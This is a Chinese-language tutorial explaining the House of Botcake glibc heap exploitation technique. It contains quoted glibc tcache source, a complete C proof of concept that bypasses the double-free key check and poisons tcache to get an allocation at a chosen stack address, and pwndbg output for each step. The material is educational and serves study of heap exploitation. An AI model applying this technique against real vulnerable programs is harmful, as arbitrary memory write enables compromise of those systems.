House Of Botcake glibc2.29~glibc2.31,tcache加入了 key 值来进行 double free 检测,以至于在旧版本时的直接进行 double free 变的无效,所以自然就有了绕过方法,绕过方法其中比较典型的就是 house of botcake ,他的本质也是通过 UAF 来达到绕过的目的
利用场景:
glibc > 2.25(有 tcache)
double free
glibc2.31下的Tcache检查 对于每一个 tcache 中的chunk,增加了一个key指针,用于指向所属的 tcache 结构体:
1 2 3 4 5 6 typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry;
当chunk被放入时会设置key指针:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *)chunk2mem(chunk); e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
ptmalloc 使用了一种更机智的方法,在不影响效率的前提下,完成了对double free的检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 size_t tc_idx = csize2tidx(size);if (tcache != NULL && tc_idx < mp_.tcache_bins){ tcache_entry *e = (tcache_entry *)chunk2mem(p); if (__glibc_unlikely(e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE(memory_tcache_double_free, 2 , e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr("free(): double free detected in tcache 2" ); } if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put(p, tc_idx); return ; } }
简单来说:
在 free chunk 被放入 tcache 时,程序会设置一个 key 值
每次程序把 new free chunk 放入 tcache 前,都会检查一下它是否携带有 key 值
注意:key 值原本的位置是用户数据区(可以认为是随机值),有极小的概率会触发检查报错
这些检查导致我们不能 free 任何一个已经在tcache中的chunk,绕过的方法有两个:
想办法修改 key 字段
使用 fastbin double free
House Of Botcake 利用姿势 首先填充 tcache bin 链表,然后使用 malloc 从 tcache bin 链表中取出一个 chunk,然后通过二次 free 将 victim chunk 加入 tcache bin 链表,然后利用堆块重叠将 double free 块的fd指针覆写为目标位置,再次 malloc 即可控制到目标位置,达到任意写操作
核心点为:
合并 chunk1 chunk2 进 unsortedbins
将 chunk2 链进 tcache
从 chunk1 分配一个大chunk造成 overlapped 到 chunk2 修改其 fd
其实就是利用了 tcachebin 和 unsortedbin 之间的相对独立性,使一个 chunk 在 unsortedbin 中的同时还可以在 tcachebin 中(fastbin对此就有相对完善的检查,不会出现这种情况)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <assert.h> int main () { puts ("House of botcake Poc\n\n" ); setbuf(stdin , NULL ); setbuf(stdout , NULL ); intptr_t stack_var[4 ]; printf ("目标地址是 %p.\n\n" , stack_var); puts ("堆布局构造" ); puts ("申请7个 chunks(malloc(0x100)) 用于稍后填充tcache bin链表." ); intptr_t *x[7 ]; for (int i=0 ; i<sizeof (x)/sizeof (intptr_t *); i++){ x[i] = malloc (0x100 ); } puts ("为之后的合并申请一个 prev chunk" ); intptr_t *prev = malloc (0x100 ); puts ("申请用于double free的 victim chunk." ); intptr_t *a = malloc (0x100 ); printf ("malloc(0x100): a=%p.\n" , a); puts ("申请一个填充chunk防止top chunk合并.\n" ); malloc (0x10 ); puts ("接下来可以造成堆块重叠" ); puts ("Step 1: 填充 tcache bin 链表" ); for (int i=0 ; i<7 ; i++){ free (x[i]); } puts ("Step 2: free victim chunk 并链接到 unsorted bin" ); free (a); puts ("Step 3: free prev chunk 使它和 victim chunk 合并." ); free (prev); puts ("Step 4: 使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将 victim chunk 加入tcache bin链表\n" ); malloc (0x100 ); free (a); puts ("double free 利用完成\n\n" ); puts ("tcache 毒化" ); puts ("现在 victim chunk 被包含在一个更大的已释放块中,可以通过利用块重叠进行 tcache 毒化" ); intptr_t *b = malloc (0x120 ); puts ("将 victim chunk 的 fd 指针覆写为目标位置" ); b[0x120 /8 -2 ] = (long )stack_var; puts ("malloc申请到目标位置." ); malloc (0x100 ); intptr_t *c = malloc (0x100 ); printf ("新申请的 chunk 位于 %p\n" , c); assert(c==stack_var); printf ("已控制目标位置!\n\n" ); return 0 ; }
Step 1: 填充 tcache bin 链表
1 2 3 4 pwndbg> bins tcachebins 0x110 [ 7 ]: 0x405d10 —▸ 0x405c00 —▸ 0x405af0 —▸ 0x4059e0 —▸ 0x4058d0 —▸ 0x4057c0 —▸ 0x4056b0 ◂— 0x0 0x410 [ 1 ]: 0x4052a0 ◂— 0x0
Step 2: free victim chunk 并链接到 unsorted bin
1 2 unsortedbin all: 0x405f20 —▸ 0x7ffff7facbe0 (main_arena+96 ) ◂— 0x405f20
Step 3: free prev chunk 使它和 victim chunk 合并
1 2 unsortedbin all: 0x405e10 —▸ 0x7ffff7facbe0 (main_arena+96 ) ◂— 0x405e10
Step 4: 使用malloc从tcache bin链表中取出一个chunk,然后通过二次free将 victim chunk 加入tcache bin链表
1 2 3 tcachebins 0x110 [ 6 ]: 0x405c00 —▸ 0x405af0 —▸ 0x4059e0 —▸ 0x4058d0 —▸ 0x4057c0 —▸ 0x4056b0 ◂— 0x0 0x410 [ 1 ]: 0x4052a0 ◂— 0x0
1 2 3 4 pwndbg> bins tcachebins 0x110 [ 7 ]: 0x405f30 —▸ 0x405c00 —▸ 0x405af0 —▸ 0x4059e0 —▸ 0x4058d0 —▸ 0x4057c0 —▸ 0x4056b0 ◂— 0x0 0x410 [ 1 ]: 0x4052a0 ◂— 0x0
Step 5: 将 victim chunk 的 fd 指针覆写为目标位置
1 0x110 [ 7 ]: 0x405f30 —▸ 0x7fffffffded0 —▸ 0x400040 ◂— 0x400000006
虽然和 tcache Double free 的流程有些不同(先填满 tcache 然后再 fastbin 上进行 Double free,再次申请,使得 fast chunk 被链入 tcache),但最后都可以申请到目标地址
版本对 House Of Botcake 的影响 House Of Botcake 就是为了对付高libc版本而产生的技术
至少在 libc-2.25 ~ libc-2.31 都可以适应